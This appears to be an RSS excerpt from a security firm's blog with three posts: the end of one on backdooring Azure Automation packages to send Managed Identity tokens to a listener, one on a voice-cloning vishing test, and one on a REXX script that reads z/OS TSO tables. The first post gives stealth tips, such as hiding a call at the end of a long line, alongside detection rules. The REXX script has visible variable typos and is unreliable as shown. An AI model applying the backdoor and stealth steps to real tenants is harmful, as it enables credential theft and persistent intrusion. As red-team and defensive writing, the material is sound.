<div class="wp-block-uagb-image alignleft uagb-block-1430739f wp-block-uagb-image--layout-default wp-block-uagb-image--effect-static wp-block-uagb-image--align-left"><figure class="wp-block-uagb-image__figure"><img decoding="async" srcset="https://www.netspi.com/wp-content/uploads/2024/09/Backdooring-Azure-Automation-Account-Runtime-Environments2.png ,https://www.netspi.com/wp-content/uploads/2024/09/Backdooring-Azure-Automation-Account-Runtime-Environments2.png 780w, https://www.netspi.com/wp-content/uploads/2024/09/Backdooring-Azure-Automation-Account-Runtime-Environments2.png 360w" sizes="(max-width: 480px) 150px" src="https://www.netspi.com/wp-content/uploads/2024/09/Backdooring-Azure-Automation-Account-Runtime-Environments2.png" alt="" class="uag-image-25553" width="1197" height="206" title="Backdooring Azure Automation Account Runtime Environments2" loading="lazy" role="img"/></figure></div>



<div style="height:30px" aria-hidden="true" class="wp-block-spacer"></div>



<p>The upload for both options is very simple. You can use the “Add a module” and “Add a Python Package” buttons in the appropriate menus to start the process. Select your file to upload, your Runtime version, name the package, and select import. Keep in mind, that any packages that you upload in the old system will carry over to the new System-generated environments in the Runtime Environments interface.&nbsp;</p>



<p>If you are working with a Runtime Environment, the process is going to be very similar. At this point, we have two options – Modifying an existing Runtime Environment or creating a new one and assigning runbooks to it.</p>



<div class="wp-block-uagb-image alignleft uagb-block-9a8a928b wp-block-uagb-image--layout-default wp-block-uagb-image--effect-static wp-block-uagb-image--align-left"><figure class="wp-block-uagb-image__figure"><img decoding="async" srcset="https://www.netspi.com/wp-content/uploads/2024/09/Backdooring-Azure-Automation-Account-Runtime-Environments3.png ,https://www.netspi.com/wp-content/uploads/2024/09/Backdooring-Azure-Automation-Account-Runtime-Environments3.png 780w, https://www.netspi.com/wp-content/uploads/2024/09/Backdooring-Azure-Automation-Account-Runtime-Environments3.png 360w" sizes="(max-width: 480px) 150px" src="https://www.netspi.com/wp-content/uploads/2024/09/Backdooring-Azure-Automation-Account-Runtime-Environments3.png" alt="" class="uag-image-25554" width="899" height="742" title="Backdooring Azure Automation Account Runtime Environments3" loading="lazy" role="img"/></figure></div>



<div style="height:30px" aria-hidden="true" class="wp-block-spacer"></div>



<p>By modifying an existing Runtime Environment, you will have fewer indicators of your malicious package activities. However, this will not work in cases where the runbooks are using the system-generated environments. It’s not possible to add additional packages to those environments in the current interface, so you would have to create a new environment to move (Under the “Update Runtime Environment” menu) the runbook to. Alternatively, you can switch back to the old experience, add your packages to the environment, and switch back.</p>



<h2 class="wp-block-heading" id="h-using-the-packages-nbsp">Using the Packages&nbsp;</h2>



<p>Once we have added our malicious packages to the Automation Account and/or Runtime Environment, we will need to call them in a runbook in order to use them. Since the sample code calls back to a URL with a Managed Identity token, make sure that you have your HTTP listener ready to go.&nbsp;</p>



<p>For PowerShell runbooks, you can just add a line to call your new function. If you want to be extra sneaky about it, end an existing PowerShell line with a “;” and add your new function after that. If the line is particularly long, there’s a decent chance that it will get overlooked by being at the end of the line. Technically, you could also throw any other PowerShell obfuscation technique at the function name at this point as well.&nbsp;</p>



<p>For the Python runbooks, you will need to import the package (aws_consoler):&nbsp;</p>



<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">import aws_consoler</pre>



<div style="height:30px" aria-hidden="true" class="wp-block-spacer"></div>



<p>If you’ve modified an existing runbook, you can just wait for it to be run. If you created a new runbook, now would be a good time to schedule the runbook (once an hour?) to regularly check in with a token for you.&nbsp;</p>



<div class="wp-block-uagb-image alignleft uagb-block-ca50e381 wp-block-uagb-image--layout-default wp-block-uagb-image--effect-static wp-block-uagb-image--align-left"><figure class="wp-block-uagb-image__figure"><img decoding="async" srcset="https://www.netspi.com/wp-content/uploads/2024/09/Backdooring-Azure-Automation-Account-Runtime-Environments4.png ,https://www.netspi.com/wp-content/uploads/2024/09/Backdooring-Azure-Automation-Account-Runtime-Environments4.png 780w, https://www.netspi.com/wp-content/uploads/2024/09/Backdooring-Azure-Automation-Account-Runtime-Environments4.png 360w" sizes="(max-width: 480px) 150px" src="https://www.netspi.com/wp-content/uploads/2024/09/Backdooring-Azure-Automation-Account-Runtime-Environments4.png" alt="" class="uag-image-25555" width="900" height="539" title="Backdooring Azure Automation Account Runtime Environments4" loading="lazy" role="img"/></figure></div>



<div style="height:30px" aria-hidden="true" class="wp-block-spacer"></div>



<p>As a final note for persistence, if you have the ability to write runbooks and packages, you probably have the ability to write webhooks for the runbooks. These are a bit out of scope for this blog, but they are a nice way to generate <a href="https://www.netspi.com/blog/technical-blog/cloud-pentesting/maintaining-azure-persistence-via-automation-accounts/" target="_blank" rel="noreferrer noopener">a persistence mechanism for calling an Automation Account runbook</a>, if you get removed from an environment.&nbsp;</p>



<h2 class="wp-block-heading" id="h-detection-and-hunting-recommendations-nbsp"><strong>Detection and Hunting Recommendations</strong>&nbsp;</h2>



<p>To help detect any existing malicious packages in your Automation Accounts, you can manually review your current modules and packages for any custom modules in the Azure portal.&nbsp;</p>



<div class="wp-block-uagb-image alignleft uagb-block-33bd7600 wp-block-uagb-image--layout-default wp-block-uagb-image--effect-static wp-block-uagb-image--align-left"><figure class="wp-block-uagb-image__figure"><img decoding="async" srcset="https://www.netspi.com/wp-content/uploads/2024/09/Backdooring-Azure-Automation-Account-Runtime-Environments5.png ,https://www.netspi.com/wp-content/uploads/2024/09/Backdooring-Azure-Automation-Account-Runtime-Environments5.png 780w, https://www.netspi.com/wp-content/uploads/2024/09/Backdooring-Azure-Automation-Account-Runtime-Environments5.png 360w" sizes="(max-width: 480px) 150px" src="https://www.netspi.com/wp-content/uploads/2024/09/Backdooring-Azure-Automation-Account-Runtime-Environments5.png" alt="" class="uag-image-25556" width="1198" height="331" title="Backdooring Azure Automation Account Runtime Environments5" loading="lazy" role="img"/></figure></div>



<div class="wp-block-uagb-image alignleft uagb-block-4384eac6 wp-block-uagb-image--layout-default wp-block-uagb-image--effect-static wp-block-uagb-image--align-left"><figure class="wp-block-uagb-image__figure"><img decoding="async" srcset="https://www.netspi.com/wp-content/uploads/2024/09/Backdooring-Azure-Automation-Account-Runtime-Environments6.png ,https://www.netspi.com/wp-content/uploads/2024/09/Backdooring-Azure-Automation-Account-Runtime-Environments6.png 780w, https://www.netspi.com/wp-content/uploads/2024/09/Backdooring-Azure-Automation-Account-Runtime-Environments6.png 360w" sizes="(max-width: 480px) 150px" src="https://www.netspi.com/wp-content/uploads/2024/09/Backdooring-Azure-Automation-Account-Runtime-Environments6.png" alt="" class="uag-image-25557" width="1200" height="581" title="Backdooring Azure Automation Account Runtime Environments6" loading="lazy" role="img"/></figure></div>



<div style="height:30px" aria-hidden="true" class="wp-block-spacer"></div>



<p>Alternatively, we have written a PowerShell script (Get-AzAutomationCustomModules) that will enumerate all of your Automation Accounts and will output a list of custom packages. This utilizes an authenticated Az PowerShell module connection to make the calls, so make sure to Connect-AzAccount before running the tool.&nbsp;</p>



<p>The tool usage is pretty simple, just import the module (ipmo Get-AzAutomationCustomModules.ps1) and run the function “Get-AzAutomationCustomModules -verbose”.&nbsp;</p>



<div class="wp-block-uagb-image alignleft uagb-block-a21aaedc wp-block-uagb-image--layout-default wp-block-uagb-image--effect-static wp-block-uagb-image--align-left"><figure class="wp-block-uagb-image__figure"><img decoding="async" srcset="https://www.netspi.com/wp-content/uploads/2024/09/Backdooring-Azure-Automation-Account-Runtime-Environments7.png ,https://www.netspi.com/wp-content/uploads/2024/09/Backdooring-Azure-Automation-Account-Runtime-Environments7.png 780w, https://www.netspi.com/wp-content/uploads/2024/09/Backdooring-Azure-Automation-Account-Runtime-Environments7.png 360w" sizes="(max-width: 480px) 150px" src="https://www.netspi.com/wp-content/uploads/2024/09/Backdooring-Azure-Automation-Account-Runtime-Environments7.png" alt="" class="uag-image-25558" width="1194" height="395" title="Backdooring Azure Automation Account Runtime Environments7" loading="lazy" role="img"/></figure></div>



<div style="height:30px" aria-hidden="true" class="wp-block-spacer"></div>



<p>The output is pipeline friendly, so you can pipe it to Export-Csv for further review. Due to how the old package management system worked, you may also see some of the previously updated packages as custom packages. I have an older Automation Account that I was testing the script against and found that the AzureRM, Azure, and AzureAD modules were showing up as custom. I’m not 100% sure how they ended up that way, but I believe these are false positives that you may also run into.</p>



<h2 class="wp-block-heading" id="h-detection-and-hunting-opportunities-nbsp">Detection and Hunting Opportunities&nbsp;</h2>



<p>See below for additional detection and hunting opportunities:&nbsp;</p>



<p><strong>Detection Opportunity #1:</strong> Packages added to an Azure Automation Account <br><strong>Data Source:</strong> Cloud Service <br><strong>Detection Strategy:</strong> Behavior <br><strong>Detection Concept:</strong>  <br>Using Azure Activity Log, detect on when any of the following actions are taken against an Automation Account via Azure Credentials: </p>



<ul class="wp-block-list">
<li>Microsoft.Automation/automationAccounts/runbooks/draft/write&nbsp;</li>



<li>Microsoft.Automation/automationAccounts/runbooks/publish/action&nbsp;</li>



<li>Microsoft.Automation/automationAccounts/jobs/write&nbsp;</li>



<li>Microsoft.Automation/automationAccounts/listbuiltinmodules/action&nbsp;</li>



<li>Microsoft.Automation/automationAccounts/powershell72Modules/write&nbsp;&nbsp;</li>



<li>Microsoft.Automation/automationAccounts/runtimeEnvironments/packages/delete&nbsp;</li>



<li>Microsoft.Automation/automationAccounts/runtimeEnvironments/write&nbsp;</li>
</ul>



<p><strong>Detection Reasoning:</strong> A threat actor can use the package upload function to add packages to the Automation Account. Once added, the malicious packages can be used in a runbook.&nbsp;<br><strong>Known Detection Consideration:</strong> None&nbsp;</p>



<p><strong>Hunting Opportunity #1:</strong> Automation Account Package File Inspection&nbsp;<br><strong>Data Source:</strong> Cloud Service Metadata&nbsp;<br><strong>Detection Strategy:</strong> Signature&nbsp;<br><strong>Hunting Concept:</strong> &nbsp;<br>Using the previously noted PowerShell function (Get-AzAutomationCustomModules), it is possible to review custom packages that have been added to an Automation Account.&nbsp;<br><strong>Detection Reasoning:</strong> &nbsp;<br>Any malicious packages that are added to an Automation Account will show up as custom packages. This script collects all of the custom packages for an Automation Account.&nbsp;<br><strong>Known Detection Consideration:</strong> None&nbsp;</p>



<h2 class="wp-block-heading" id="h-conclusions-nbsp">Conclusions&nbsp;</h2>



<p>Given other recent supply chain attacks, I don’t think that it’s unreasonable to expect a threat actor to attempt poisoning packages that are used by Automation Accounts. That said, I have not seen this persistence technique being used in the wild, but we have been talking about this idea for a number of years. Now should be a good time to take a quick look at the packages that you have in your Automation Accounts to see if there’s anything unexpected lurking in the containers.&nbsp;</p>
<p>The post <a href="https://www.netspi.com/blog/technical-blog/cloud-pentesting/backdooring-azure-automation-account-packages-and-runtime-environments/">Backdooring Azure Automation Account Packages and Runtime Environments </a> appeared first on <a href="https://www.netspi.com">NetSPI</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>The Rapid Evolution of AI Voice Cloning and its Implications for Cybersecurity </title>
		<link>https://www.netspi.com/blog/executive-blog/social-engineering/social-engineering-rapid-evolution-of-ai-voice-cloners/</link>
		
		<dc:creator><![CDATA[Rafael Seferyan]]></dc:creator>
		<pubDate>Tue, 17 Sep 2024 16:11:14 +0000</pubDate>
				<category><![CDATA[Social Engineering]]></category>
		<guid isPermaLink="false">https://www.netspi.com/?p=25531</guid>

					<description><![CDATA[<p>Learn about the rise of AI voice cloning, its cybersecurity challenges, and necessary measures for IT and InfoSec leaders to stay protected.</p>
<p>The post <a href="https://www.netspi.com/blog/executive-blog/social-engineering/social-engineering-rapid-evolution-of-ai-voice-cloners/">The Rapid Evolution of AI Voice Cloning and its Implications for Cybersecurity </a> appeared first on <a href="https://www.netspi.com">NetSPI</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading" id="h-tl-dr-nbsp">TL;DR&nbsp;</h2>



<p>AI voice cloning technology has rapidly advanced, allowing realistic voice replicas to be created with minimal audio input. While initially used for benign purposes like content creation, the technology poses significant cybersecurity risks. Malicious actors can exploit voice cloning for real-time impersonation, potentially leading to security breaches by mimicking trusted voices.&nbsp;&nbsp;</p>



<p>To better understand these new threats, NetSPI developed a voice cloner tool that allows us to demonstrate this risk to our customers by using cloned voices in social engineering tests. To meet the challenges voice cloners pose, organizations must implement robust verification processes and conduct employee training to better position their organization against modern threats.</p>



<h2 class="wp-block-heading" id="h-introduction-nbsp">Introduction&nbsp;</h2>



<p>The pace of AI development is accelerating – often moving faster than the implementation of necessary safety measures and regulations meant to harness it. This gap can create opportunities for malicious actors to exploit emerging technologies.&nbsp;&nbsp;</p>



<p>A striking example is the progress in voice cloning. Not long ago, cloning a user&#8217;s voice required hours of pristine audio, and the results were often imperfect. Today, companies like <a href="https://elevenlabs.io/" target="_blank" rel="noreferrer noopener">ElevenLabs</a> have transformed the landscape by enabling the cloning of any voice using just one or two minutes of audio. These advanced models introduce natural cadence to produce highly realistic voice replicas.&nbsp;</p>



<p>Initially, the primary applications of this technology were benign. They mostly aimed at enhancing content creation and reducing the cost and time associated with voiceover production. However, the potential for malicious use is significant and growing.&nbsp;</p>



<h2 class="wp-block-heading" id="h-threat-landscape-of-real-time-voice-cloning">Threat Landscape of Real-Time Voice Cloning</h2>



<p>Consider the implications of an attacker using this sophisticated voice cloning technology to create a tool for real-time audio impersonation. This goes beyond traditional text-to-speech (TTS) applications, enabling attackers to mimic any voice live during a conversation. </p>



<p> Imagine the potential consequences:  </p>



<ul class="wp-block-list">
<li>An attacker could impersonate a manager and instruct an employee to perform actions that compromise security.  </li>



<li>More alarming is the potential to clone a CEO’s voice from public interviews to announce false information, such as company layoffs, causing internal chaos.  </li>



<li>On a broader scale, the ability to impersonate high-profile figures like military officials or political leaders could lead to mass panic or unauthorized access to sensitive information, posing severe national security threats. </li>
</ul>



<h2 class="wp-block-heading" id="h-introducing-netspi-s-advanced-voice-cloning-tool">Introducing NetSPI&#8217;s Advanced Voice Cloning Tool</h2>



<p>To better learn what we’re up against, NetSPI developed a cutting-edge tool capable of generating cloned voices in real time. The tool uses short audio samples, which can be sourced publicly or through brief social engineering interactions, to accurately replicate any voice. The cloned voice can be deployed for TTS or real-time voice impersonation, equipping threat actors for a sophisticated <a href="https://www.netspi.com/netspi-ptaas/social-engineering/" target="_blank" rel="noreferrer noopener">vishing</a> attack.</p>



<div class="wp-block-uagb-image uagb-block-cb775a78 wp-block-uagb-image--layout-default wp-block-uagb-image--effect-static wp-block-uagb-image--align-none"><figure class="wp-block-uagb-image__figure"><a class="" href="https://www.netspi.com/contact/" target="" rel="noopener"><img decoding="async" srcset="https://www.netspi.com/wp-content/uploads/2024/09/CTA-Voice-Cloner.webp ,https://www.netspi.com/wp-content/uploads/2024/09/CTA-Voice-Cloner.webp 780w, https://www.netspi.com/wp-content/uploads/2024/09/CTA-Voice-Cloner.webp 360w" sizes="(max-width: 480px) 150px" src="https://www.netspi.com/wp-content/uploads/2024/09/CTA-Voice-Cloner.webp" alt="" class="uag-image-25532" width="1201" height="351" title="CTA-Voice Cloner" loading="lazy" role="img"/></a></figure></div>



<div style="height:30px" aria-hidden="true" class="wp-block-spacer"></div>



<p>This development builds on NetSPI&#8217;s previous work in <a href="https://www.netspi.com/breach-and-attack-simulation/" target="_blank" rel="noreferrer noopener">adversary simulation</a> and deepfake technology, specifically research on using <a href="https://www.netspi.com/blog/technical-blog/adversary-simulation/using-deep-fakes-to-bypass-voice-biometrics/" target="_blank" rel="noreferrer noopener">deepfakes to bypass voice biometrics</a>. This earlier work demonstrated how deepfake technology could be leveraged to overcome voice authentication systems, highlighting the potential security risks posed by AI-driven voice manipulation.</p>



<div class="wp-block-uagb-image uagb-block-2ab1bfa3 wp-block-uagb-image--layout-default wp-block-uagb-image--effect-static wp-block-uagb-image--align-none"><figure class="wp-block-uagb-image__figure"><a class="" href="https://www.netspi.com/blog/technical-blog/adversary-simulation/using-deep-fakes-to-bypass-voice-biometrics/" target="" rel="noopener"><img decoding="async" srcset="https://www.netspi.com/wp-content/uploads/2024/09/CTA-using-deep-fakes-to-bypass-voice-biometrics.webp ,https://www.netspi.com/wp-content/uploads/2024/09/CTA-using-deep-fakes-to-bypass-voice-biometrics.webp 780w, https://www.netspi.com/wp-content/uploads/2024/09/CTA-using-deep-fakes-to-bypass-voice-biometrics.webp 360w" sizes="(max-width: 480px) 150px" src="https://www.netspi.com/wp-content/uploads/2024/09/CTA-using-deep-fakes-to-bypass-voice-biometrics.webp" alt="" class="uag-image-25533" width="1200" height="351" title="CTA-using-deep-fakes-to-bypass-voice-biometrics" loading="lazy" role="img"/></a></figure></div>



<div style="height:30px" aria-hidden="true" class="wp-block-spacer"></div>



<h2 class="wp-block-heading" id="h-how-netspi-used-ai-voice-cloning-for-real-world-social-engineering-testing-nbsp">How NetSPI Used AI Voice Cloning for Real-World Social Engineering Testing&nbsp;</h2>



<p>In a recent engagement, <a href="https://www.netspi.com/meet-our-agents/" target="_blank" rel="noreferrer noopener">The NetSPI Agents</a> proved the power and potential risks of voice cloning technology. The objective was to demonstrate how easily cybercriminals could exploit this technology to deceive employees and gain unauthorized access to a system.&nbsp;</p>



<h3 class="wp-block-heading" id="h-setup-nbsp">Setup&nbsp;</h3>



<p>For the purpose of the demonstration, a manager from the client&#8217;s help desk consented to participate. NetSPI recorded a short conversation with this manager to create a clone of his voice using advanced voice cloning software. The goal was to leverage the familiarity and trust associated with the manager&#8217;s voice to deceive other employees into divulging their login credentials.&nbsp;</p>



<h3 class="wp-block-heading" id="h-execution-nbsp">Execution&nbsp;</h3>



<p>Using the cloned voice, NetSPI crafted a voicemail message that sounded alarmingly authentic. The message went something like this:&nbsp;</p>



<p><em>&#8221; This is [impersonated employee] with the help desk. Our security team received an alert for your workstation this morning. When you get a chance, please review the ticket by signing in at [example.com]. Thank you.&#8221;</em>&nbsp;</p>



<p>This message was then sent to several employees, who were likely to recognize the manager&#8217;s voice and trust the request.&nbsp;</p>



<h3 class="wp-block-heading" id="h-outcome-nbsp">Outcome&nbsp;</h3>



<p>The operation was a success. One of the employees listened to the voicemail and followed the instructions, visiting the provided link and logging in with their credentials. Unbeknownst to them, the link directed them to a phishing site, allowing us to capture their login information.&nbsp;</p>



<h3 class="wp-block-heading" id="h-key-learnings-nbsp">Key Learnings&nbsp;</h3>



<p>This test demonstrated the alarming ease with which cybercriminals can exploit voice cloning technology for malicious purposes. Here are two implications of AI voice cloning for cybersecurity:&nbsp;&nbsp;</p>



<ul class="wp-block-list">
<li><strong>Trust Exploitation: </strong>Employees are more likely to follow instructions from voices they recognize and trust, making voice cloning a potent tool for vishing attacks. </li>



<li><strong>Awareness and Training: </strong>Organizations must invest in regular cybersecurity training to educate employees about the risks of advanced social engineering attacks, including voice cloning. </li>
</ul>



<p>NetSPI&#8217;s use of voice cloning in this engagement underscores the evolving nature of cyber threats. By understanding these risks and taking proactive measures, organizations can better protect themselves from sophisticated attacks.</p>



<h2 class="wp-block-heading" id="h-foundational-guidelines-for-safely-using-ai-voice-cloners-nbsp">Foundational Guidelines for Safely Using AI Voice Cloners&nbsp;</h2>



<p>In exploring the capabilities of voice cloning technology, it&#8217;s essential to address the ethical implications and practices that guide its use. At NetSPI, we uphold a strict policy regarding cloned content, ensuring that we only proceed with the explicit consent of the individual whose voice is being utilized. This commitment to ethical standards extends to our pretexts, which are crafted to avoid controversial or harmful scenarios.&nbsp;&nbsp;</p>



<p>For instance, we steer clear of high-stress narratives such as threats of job loss or emergencies involving family members. Instead, our intent is to create interactions that are as unmemorable as possible — blending into the background rather than drawing attention.&nbsp;</p>



<p>This approach reduces the potential for unnecessary stress among employees, aligning our practices with both ethical communication and responsible technology usage.</p>



<h2 class="wp-block-heading" id="h-proactive-security-can-counter-social-engineering-risks">Proactive Security Can Counter Social Engineering Risks </h2>



<p>The technology behind voice cloning is still emerging, but its impact on cybersecurity is significant. As major players like OpenAI continue to advance voice generation models, the accessibility and speed of these technologies will increase. Future models may only require seconds of audio to create accurate voice clones. </p>



<h2 class="wp-block-heading" id="h-strategies-for-social-engineering-prevention-against-ai-voice-cloning-nbsp-nbsp-nbsp">Strategies for Social Engineering Prevention Against AI Voice Cloning&nbsp;&nbsp;&nbsp;</h2>



<p>To mitigate these risks, organizations must implement rigorous verification processes for voice-based interactions. Below are a few effective strategies to enhance security against voice cloners:&nbsp;</p>



<ol start="1" class="wp-block-list">
<li>Issue a one-time passcode to the caller&#8217;s device. </li>



<li>Rotate codes or phrases available on a shared intranet site. The caller provides the secret word when the call starts. The secret word refreshes every two to three minutes to avoid re-use. </li>



<li>Perform secondary verification through internal chat. The caller confirms a Microsoft Teams message with the verification code/phrase to make sure it is legitimate </li>



<li>Conduct a live video call where the caller can present proof of identification, such as a government-issued ID.  </li>
</ol>



<p>Without stringent safeguards, the misuse of voice cloning technology is poised to become a prevalent method for <a href="https://www.netspi.com/newsroom/netspi-in-the-news/dark-reading-social-engineering-attacks-skyrocket/" target="_blank" rel="noreferrer noopener">social engineering attacks</a>. Such attacks are among the most straightforward and effective tactics for compromising systems, as demonstrated by recent high-profile breaches like the one MGM experienced in 2023, resulting in an estimated loss of up $100 million. </p>



<h2 class="wp-block-heading" id="h-see-netspi-s-voice-cloner-in-action">See NetSPI’s Voice Cloner in Action</h2>



<p>While the advancements in AI voice cloning offer transformative potential, they also demand a <a href="https://www.netspi.com/blog/executive-blog/proactive-security/proactive-security-101-discover-prioritize-remediate/" target="_blank" rel="noreferrer noopener">proactive approach to security</a>. Ensuring collaboration between technologists, policymakers, and cybersecurity professionals is essential to mitigate the risks and harness the benefits of this powerful technology. </p>



<p>See how The NetSPI Agents use our voice cloner tool to enhance clients’ social engineering detection and prevention capabilities. Prepare for the future by equipping your team against hyper-targeted vishing campaigns. <a href="https://www.netspi.com/contact/" target="_blank" rel="noreferrer noopener">Request a demo today.</a>&nbsp;</p>



<p></p>
<p>The post <a href="https://www.netspi.com/blog/executive-blog/social-engineering/social-engineering-rapid-evolution-of-ai-voice-cloners/">The Rapid Evolution of AI Voice Cloning and its Implications for Cybersecurity </a> appeared first on <a href="https://www.netspi.com">NetSPI</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Mapping Mainframe Memory Made Easy</title>
		<link>https://www.netspi.com/blog/technical-blog/mainframe-penetration-testing/mapping-mainframe-memory/</link>
		
		<dc:creator><![CDATA[Philip Young]]></dc:creator>
		<pubDate>Mon, 16 Sep 2024 15:39:47 +0000</pubDate>
				<category><![CDATA[Mainframe Penetration Testing]]></category>
		<guid isPermaLink="false">https://www.netspi.com/?p=25510</guid>

					<description><![CDATA[<p>Explore how NetSPI's own LPAR enhances pentesting efficiency through rapid tool prototyping and deployment.</p>
<p>The post <a href="https://www.netspi.com/blog/technical-blog/mainframe-penetration-testing/mapping-mainframe-memory/">Mapping Mainframe Memory Made Easy</a> appeared first on <a href="https://www.netspi.com">NetSPI</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<div class="wp-block-uagb-image alignleft uagb-block-349aef6b wp-block-uagb-image--layout-default wp-block-uagb-image--effect-static wp-block-uagb-image--align-left"><figure class="wp-block-uagb-image__figure"><img decoding="async" srcset="https://www.netspi.com/wp-content/uploads/2024/09/TSO-Authorized-Tables-1.png ,https://www.netspi.com/wp-content/uploads/2024/09/TSO-Authorized-Tables-1.png 780w, https://www.netspi.com/wp-content/uploads/2024/09/TSO-Authorized-Tables-1.png 360w" sizes="(max-width: 480px) 150px" src="https://www.netspi.com/wp-content/uploads/2024/09/TSO-Authorized-Tables-1.png" alt="Image of NetSPI testing LPAR" class="uag-image-25513" width="899" height="721" title="Image of NetSPI testing LPAR" loading="lazy" role="img"/></figure></div>



<div style="height:30px" aria-hidden="true" class="wp-block-spacer"></div>



<p>One of the benefits of working for NetSPI is access to our own testing LPAR. This proves handy when we&#8217;re mid-engagement and need to quickly create a tool, allowing us to test it before trying it on a live environment. For example, during a recent engagement, I couldn&#8217;t run the TSO command PARMLIB or the operator command &#8220;DISPLAY IKJTSO&#8221;, both of which provide similar information we use when conducting pentests.</p>



<div class="wp-block-uagb-image alignleft uagb-block-71807ffe wp-block-uagb-image--layout-default wp-block-uagb-image--effect-static wp-block-uagb-image--align-left"><figure class="wp-block-uagb-image__figure"><img decoding="async" srcset="https://www.netspi.com/wp-content/uploads/2024/09/TSO-Authorized-Tables-2-1024x420.png ,https://www.netspi.com/wp-content/uploads/2024/09/TSO-Authorized-Tables-2.png 780w, https://www.netspi.com/wp-content/uploads/2024/09/TSO-Authorized-Tables-2.png 360w" sizes="(max-width: 480px) 150px" src="https://www.netspi.com/wp-content/uploads/2024/09/TSO-Authorized-Tables-2-1024x420.png" alt="Image demonstrating the parmlib command cannot be run by my user" class="uag-image-25514" width="1618" height="664" title="Image demonstrating the parmlib command cannot be run by my user" loading="lazy" role="img"/></figure></div>



<div style="height:30px" aria-hidden="true" class="wp-block-spacer"></div>



<p>Fortunately, a series of in-memory tables (i.e., IKJEFTE2, IKJEFTE8, IKJEFTAP, and IKJEFTNS) store the information we need. These tables contain the authorized commands, programs, etc., typically defined in the TSO configuration file (IKJTSOxx parmlib member). The TSO/E System Diagnosis: Data Areas manual documents how to locate these tables.&nbsp;</p>



<p>On z/OS, we refer to these tables as control blocks<sup>1</sup>. Typically chained and anchored, we can find all control blocks by starting at the base control block (usually the CVT or common vector table) and traversing the pointers and tables until we obtain the desired information. While these tables are sometimes well-documented (as in this case), we sometimes must figure them out on our own.&nbsp;&nbsp;</p>



<p>If we lack permission to run the tools or commands to dump this information, we can manually retrieve the contents of the in-memory tables. To do this, we need to traverse a series of pointers and offsets in memory:&nbsp;&nbsp;</p>



<ol start="1" class="wp-block-list">
<li>We start by looking at the CVT<sup>2</sup>, which is always located at offset 0x10.&nbsp;&nbsp;</li>



<li>At offset 0x9C<strong> </strong>in the CVT we find the address of the TSO vector table (TSVT)<sup> </sup><sup>3</sup>, labeled CVTTVT&nbsp;</li>



<li>At offset 0x4C in the TSO vector table (TSVT) is the address of the TSO/E Parameters Vector Table (TPVT), labeled TSVTTPVT&nbsp;</li>



<li>At offset 0x14 in the TSO/E Parameters Vector Table (TPVT)<sup>4</sup> is the address of the TSO/E Command Tables Location Table (CTLT), labeled TPVTCTLT<sup> </sup><sup>5</sup>&nbsp;</li>
</ol>



<p>The Command Tables Location Table (CTLT) contains the address and other information we need to find our target data.&nbsp;</p>



<p>In essence, we&#8217;ve done this: &nbsp;</p>



<div class="wp-block-uagb-image alignleft uagb-block-b77f6e92 wp-block-uagb-image--layout-default wp-block-uagb-image--effect-static wp-block-uagb-image--align-left"><figure class="wp-block-uagb-image__figure"><img decoding="async" srcset="https://www.netspi.com/wp-content/uploads/2024/09/TSO-Authorized-Tables-3.png ,https://www.netspi.com/wp-content/uploads/2024/09/TSO-Authorized-Tables-3.png 780w, https://www.netspi.com/wp-content/uploads/2024/09/TSO-Authorized-Tables-3.png 360w" sizes="(max-width: 480px) 150px" src="https://www.netspi.com/wp-content/uploads/2024/09/TSO-Authorized-Tables-3.png" alt="Mapping of the control block and their offsets in z/OS memory " class="uag-image-25515" width="1201" height="436" title="Mapping of the control block and their offsets in z/OS memory " loading="lazy" role="img"/></figure></div>



<div style="height:30px" aria-hidden="true" class="wp-block-spacer"></div>



<p>Although the contents of the Command Tables Location Table (CTLT) are well documented, I wanted to visualize the table in memory and make it readable. This approach allows me to access this information in future situations, regardless of access to the commands or programs typically used to read it.</p>



<p>Putting together a quick REXX script is my preferred method, though you could just as easily use ISRDDN to do it (which I’ll leave as an exercise to the reader).&nbsp;</p>



<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">/* REXX */                                
CVT = STORAGE(10,4)                       
TSVT = STORAGE(D2X(C2D(CVT)+X2D(9C)),4)   
TPVT = STORAGE(D2X(C2D(TSVT)+X2D(4C)),4)  
CTLT = STORAGE(D2X(C2D(TPVT)+X2D(14)),4)  
SAY "CVT:" C2X(CTV)                       
SAY "TSVT:" C2X(TSTV)                     
SAY "TPVT:" C2X(TPVT)                     
SAY "CTLT:" C2X(CTLT)                     
SAY "CTLT CONTENTS"                       
CTLTHEX = STORAGE(C2X(CTLT),100)          
OUTPUT = ''                               
DO I=1 TO 60                              
 BYTE = C2X(SUBSTR(CTLTHEX,I,1))          
 OUTPUT = OUTPUT BYTE                     
 IF I // 16 = 0 THEN DO                   
  SAY OUTPUT                              
  OUTPUT = ''                             
 END                                      
IF OUTPUT \= '' THEN SAY OUTPUT</pre>



<div style="height:30px" aria-hidden="true" class="wp-block-spacer"></div>



<p>After saving this REXX script to z/OS and executing it, we obtain the following hex dump of the CTLT table:&nbsp;</p>



<div class="wp-block-uagb-image alignleft uagb-block-1f591c1a wp-block-uagb-image--layout-default wp-block-uagb-image--effect-static wp-block-uagb-image--align-left"><figure class="wp-block-uagb-image__figure"><img decoding="async" srcset="https://www.netspi.com/wp-content/uploads/2024/09/TSO-Authorized-Tables-4.png ,https://www.netspi.com/wp-content/uploads/2024/09/TSO-Authorized-Tables-4.png 780w, https://www.netspi.com/wp-content/uploads/2024/09/TSO-Authorized-Tables-4.png 360w" sizes="(max-width: 480px) 150px" src="https://www.netspi.com/wp-content/uploads/2024/09/TSO-Authorized-Tables-4.png" alt="Screenshot showing the output of the above REXX script " class="uag-image-25516" width="901" height="486" title="Screenshot showing the output of the above REXX script " loading="lazy" role="img"/></figure></div>



<div style="height:30px" aria-hidden="true" class="wp-block-spacer"></div>



